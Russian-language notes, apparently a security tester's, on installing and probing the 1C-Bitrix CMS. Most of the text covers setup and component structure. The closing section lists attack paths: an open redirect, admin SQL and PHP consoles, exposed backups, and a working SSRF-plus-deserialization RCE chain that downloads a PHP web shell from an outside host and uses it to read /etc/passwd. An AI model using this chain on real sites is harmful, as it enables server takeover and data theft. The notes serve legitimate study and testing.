Bitrix

Src

link: https://doc.budagov.ru/

Git с bitrix разных версий: https://github.com/avshatalov48/bitrix-core-business

Установка

BitrixVM

Самой простой способ установить – поставить BitrixVM. Скачиваем с офф сайта Centos образ (OVA). Открываем в VMWare, даем доступ к сети для виртуалки.

Запускаем, дефолтные кредсы – root/bitrix и bitrix/bitrix. Меняем пароль для обоих пользователей.

Настраиваем Management Pool (1 опция в следующем меню): указываем любой виртуальный хост и если сетка работает, то все ок. Что бы выйти в консоль на тачке, много раз выбираем опцию 0.

Теперь заходим по IP с хостовой системы и устанавливаем Bitrix CMS (Бизнес, демо доступ, и ставим сайт для разработчика).

Теперь у нас по пути /home/bitrix/www инсталяция битры. /home/bitrix/www/bitrix — здесь ядро битрикса со всеми плагинами.

Как узнать какая версия ядра битры у вас:

  • В админке битры прокрутить в самый низ страницы

  • Параметр SM_VERSION в сорцах (modules/main/classes/general/version.php)

Легкий способ забрать сорцы с тачки (чтобы не мучаться с открытием портов на centos): запаковать папку соответствующую, в админке в разделе управления контентом забрать из файлового менеджера.

Digital Ocean

Поднял VM на Centos 7.

$ sudo yum install wget
$ wget http://repos.1c-bitrix.ru/yum/bitrix-env.sh
$ chmod +x bitrix-env.sh
$ ./bitrix-env.sh

Установка завершена. Необходимо провести первоначальную настройку.

Запускаем оболочку BitrixVM командой

$ /root/menu.sh

После смены пароля откроется меню оболочки. Для продолжения работы нужно создать пул (чтобы можно было размещать сайты). Вводим «1» и жмем «Enter».

В открывшейся форме вводим имя сервера (можно просто нажать «Enter», чтобы оставить имя по умолчанию). После нажатия «Enter» — пул создан. Жмем любую кнопку для выхода в уже полноценное меню BitrixVM. Меню BitrixVM выглядит так:

Для создания нового сайта или переноса существующего, переходим в браузере по адресу привязанного к VPS домена (или по IP-адресу VPS, первый вариант предпочтительнее) и выбираем «Установить» или «Восстановить копию».

Другие способы установки

  • Вроде как можно автоматизировать развертку битры на своей впс'ке (https://handyhost.ru/help/poleznyie-stati/bitrixvm.html через bitrix-env)

  • Можно использовать PHP-скрипт bitrixsetup, он же используется в проекте bitrixdock (ребята обернули все необходимое окружение в Docker, подходит для разворачивания демки; https://github.com/bitrixdock/bitrixdock) Правда у меня не вышло ни на хостовой системе, ни на DO: возможно я что-то с окружением напутал, или надо подправить их конфиг, хз (TODO).

Что внутри

Ядро

Ядро продукта - файлы, находящиеся в директории /bitrix/modules/ а так же файлы системных компонентов: /bitrix/components/bitrix/.

Компоненты

Компонент — то, что пишет уже разработчик — независимая функциональность (= библиотека).

Папка компонента может содержать следующие подпапки и файлы:

    подпапку /lang, в которой расположены файлы языковых сообщений (переводов) компонента. В ней также могут размещаться папки помощи /help.
    подпапку /templates, в которой расположены шаблоны вывода (отображения) компонента. Эта подпапка может отсутствовать, если у компонента нет шаблонов вывода.
    файл component.php, который содержит логику (код) компонента. Задача этого файла - сформировать из полученных параметров ($arParams) массив $arResult, который впоследствии попадет в шаблон компонента. Этот файл должен присутствовать в папке компонента, если только логика компонента не размещена в файле class.php.
    файл .description.php, который содержит название, описание компонента и его положение в дереве логического размещения (для редактора). Этот файл должен всегда присутствовать в папке компонента. Его отсутствие не скажется на работе компонента, но размещение компонента через визуальный редактор станет невозможным.
    файл .parameters.php, который содержит описание входных параметров компонента для редактора. Если у компонента есть входные параметры, то этот файл должен присутствовать в папке компонента.
    файл class.php для поддержки ООП-компонентов. В этом файле так же может размещаться логика (код) компонента.
    файл script.js, может подключаться из шаблона, а может из кода компонента .
    любые другие папки и файлы с ресурсами, необходимыми компоненту, например, папка /images.

Компоненты в Bitrix Framework должны храниться только в определенных местах:

  • в папке /bitrix/components/bitrix (по умолчанию);

  • в папке /bitrix/components/собственное пространство имен.

  • в папке /local/components/ (рекомендуется для собственных компонентов сторонних разработчиков)

Все компоненты находятся в папке /bitrix/components/. Системные компоненты находятся в папке /bitrix/components/bitrix/. Содержимое этой папки обновляется системой обновлений и не может изменяться пользователями.

Пользовательские компоненты могут находиться в любых других подпапках папки /bitrix/components/ или прямо в папке /bitrix/components/, но рекомендуется папка /local/components/.

Подключение:

В самом общем виде подключение компонента осуществляется следующим образом:

<?$APPLICATION->IncludeComponent(
   $componentName,         // имя компонента
   $componentTemplate,     // шаблон компонента, пустая строка если шаблон по умолчанию
   $arParams=array(),      // параметры
   $parentComponent=null,  // null или объект родительского компонента
   $arFunctionParams=array()
);?>

Docs

Курс от компании битрикс для разработчиков: https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=43&INDEX=Y

Документация по продукту 1С-Битрикс Управление сайтом: http://dev.1c-bitrix.ru/user_help/

Документация для разработчиков: http://dev.1c-bitrix.ru/api_help/

Документация для разработчиков по Rest API: http://dev.1c-bitrix.ru/rest_help/

Про битрикс с точки зрения экосистемы: https://habr.com/ru/post/282333/

Заход через регистрацию

Link: https://t.me/webpwn/345

Open Redirect

Будет предупреждение. Как бы все ок, но все же

https://<domain>/<path>/bitrix/redirect.php?goto=<redirect>

Внутри консоли PHP и SQL

Можно проверять на доступ к функциям специфичным (например, shell_exec)

https://<domain>/bitrix/admin/sql.php
https://<domain>/bitrix/admin/php_command_line.php

Настройки

Настройки смотреть здесь: https://<domain>/bitrix/admin/settings.php

В Bitrix есть компонент — Сканер безопасности. Он выдает толковые вещи и рекомендации по устранению:

https://<domain>/bitrix/admin/security_scanner.php

Проверить, не палит ли бэкапы:

/bitrix/backup/

SSRF + Deser = RCE

Версии ядра «Битрикс» до 20.0.975 содержат уязвимость типа SSRF, которая в комбинации с небезопасной десериализацией позволяет выполнить произвольный код в контексте операционной системы.

$ cat payload
<?php system($_REQUEST['some_s3cr3t_post_param_for_rce']); ?>
$ php phpggc Bitrix/RCE2 system 'curl http://my.domain.com/payload -o /var/www/some.domain.bitrix.com/bitrix/tools/test_23235235.php' -b

Таким образом по пути /var/www/some.domain.bitrix.com/bitrix/tools/test_23235235.php загружен шелл

Делаем запрос:

POST /bitrix/tools/test_23235235.php HTTP/1.1
Host: some.domain.bitrix.com

some_s3cr3t_post_param_for_rce=cat /etc/passwd

Last updated